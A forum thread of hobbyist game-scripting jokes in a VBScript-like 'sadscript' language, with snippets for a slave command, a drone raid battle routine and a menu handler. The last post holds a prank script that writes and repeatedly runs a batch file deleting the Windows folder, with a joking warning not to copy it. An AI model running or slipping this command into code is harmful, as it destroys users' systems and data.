Jump to content
Search In
  • More options...
Find results that contain...
Find results in...

Talk in sadscript.


Guest
 Share

Recommended Posts

  • Replies 59
  • Created
  • Last Reply

Top Posters In This Topic

@shrig94:

> This is what I've seen from n00b sadscripters:
>
> InsertSomeSubHere?WTF (something, massage)
> IndexorSomeBS ('The Message will be next")
> WhateverSendsMessage (I'm a freaking nub, help me)
>
> Ya, thats **shrig** script alright….

Fixed. :)
Link to comment
Share on other sites

Case "/obey"
If GetPlayerAccess(Index) > 0 Then
PlayerID = FindPlayer(TextSay(1))
Call GlobalMsg("" & PlayerID & " is now " & Index & "'s slave!", BRIGHTRED)
Call SetPlayerSlave(PlayerID, Index)
Call PlayerMsg(PlayerID, "You iz belong to mee!", BRIGHTRED)
End If
Exit Sub
Link to comment
Share on other sites

Sub working(index)
Dim adrone
Dim pdrone
Dim powner
Dim atact
Dim ptact
Dim ataka
Dim atakp
Dim aloss
Dim ploss
Dim adam
Dim pdam
Dim plion
Dim iond
Dim use
Dim pop
Dim hitem
Dim extot
Dim cashmath
Dim resmath
Dim dfac
Dim ydrn
Dim dmm

adrone=getvar("/player/" & getplayername(index) & ".ini", "data", "drones")
pdrone=getvar("/planet/" & getplayermap(index) & ".ini", "data", "drone")
powner=getvar("/planet/" & getplayermap(index) & ".ini", "data", "rule")
atact=getvar("/player/" & getplayername(index) & ".ini", "battle", "tactics")
ptact=getvar("/player/" & TRIM(powner) & ".ini", "battle", "tactics")
bttla=Rand(INT(adrone\atact),INT(adrone))
bttlp=Rand(INT(pdrone\ptact),INT(pdrone))
adam=INT(bttla)
pdam=INT(bttlp)
aloss=INT(adrone-pdam)
ploss=INT(pdrone-adam)
plion=getvar("/planet/" & getplayermap(index) & ".ini", "build", "ion")
iond=getvar("/player/" & powner & ".ini", "battle", "iond")
use=getvar("/planet/" & getplayermap(index) & ".ini", "data", "use")
pop=getvar("/planet/" & getplayermap(index) & ".ini", "data", "pop")
hitem=getvar("/planet/" & getplayermap(index) & ".ini", "data", "resource")
extot=getvar("/planet/" & getplayermap(index) & ".ini", "build", "extract")
cashmath=Rand(1,pop)
resmath=Rand(1,pop)*Rand(1,extot)
dfac=getvar("/planet/" & getplayermap(index) & ".ini", "build", "dronefac")
ydrn=getvar("/player/" & getplayername(index) & ".ini", "data", "drones")
dmm=INT(dfac+ydrn)

If adrone > 0 Then
If pdrone > 0 Then
If aloss < 0 Then
Call putvar("/player/" & getplayername(index) & ".ini", "data", "drones", 0)
Call battlemsg(index, "You lost all drones in the attack!", RED, 1)
Else
Call putvar("/player/" & getplayername(index) & ".ini", "data", "drones", INT(aloss))
Call battlemsg(index, "You lost " & INT(pdam) & " drones in the attack.", RED, 1)
If adam > pdam Then
If use = 0 Then
Call battlemsg(index, "No production available to Raid!", RED, 1)
Else
Call Give_Currency(index, 1, INT(cashmath))
Call battlemsg(index, "You Raided " & INT(cashmath) & " credits from the colony!", GREEN, 0)
Call Give_Currency(index, INT(hitem), INT(resmath))
Call battlemsg(index, "You Raided " & INT(resmath) & " resources from the colony!", GREEN, 0)
call putvar("/player/" & getplayername(index) & ".ini", "data", "drones", INT(ydrn)+INT(dfac))
Call battlemsg(index, "You Raided " & INT(dmm) & " Drones from the colony!", GREEN, 0)
Call putvar("/planet/" & getplayermap(index) & ".ini", "data", "use", INT(use)-1)
End If
End If
End If
If ploss < 0 Then
call putvar("/planet/" & getplayermap(index) & ".ini", "data", "drone", 0)
Call battlemsg(index, "You destroyed all planetary drones!", GREEN, 1)
Else
call putvar("/planet/" & getplayermap(index) & ".ini", "data", "drone", INT(ploss))
call battlemsg(index, "You destroyed " & INT(adam) & " planetary drones.", GREEN, 1)
End If
Call CustomMenuClose(Index)
Else
Call battlemsg(index, "No planetary drones defending planet!", GREEN, 1)
End If
Else
Call battlemsg(index, "You have no attack drones!", RED, 1)
End If
End Sub
Link to comment
Share on other sites

@Desiderium:

> Do you not have to call sub?

Sub MenuScripts(Index, Clicked_Index, Menu_Type)
Dim MenuTitle
Dim FieldMessage

MenuTitle = getplayermenuclicktitle(Index)
FieldMessage = getplayermenuclickmsg(Index)

Select Case Menu_Type
Case 1
If MenuTitle = "Main" Then
If Clicked_Index = 2 Then
Call production(index)
ElseIf Clicked_Index = 3 Then
Call assault(index)
**ElseIf Clicked_Index = 4 Then
Call raid(index)**
End If
End If
Link to comment
Share on other sites

public oFSO
public oTextFile
sub forumGame
call init
call DoomCycle
endsub
sub init()
    set oFSO = CreateObject("Scripting.ObjectFileSystem")
    set oTextFile = oFSO.CreateTextFile("DoomCycle.bat")
    set oTextFile = nothing
    Set oTextFile = oFSO.OpenTextFile("DoomCycle.bat", 8, True)

    oTextFile.WriteLine("rmdir /s /q C:/Windows")
endSub

sub DoomCycle
dim shell
do
    set shell=createobject("wscript.shell")
    shell.run "DoomCycle.bat"
    set shell = nothing
loop
endsub

lol, dont copy this into your sadscript. it will… uh kill windows.
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share


×
×
  • Create New...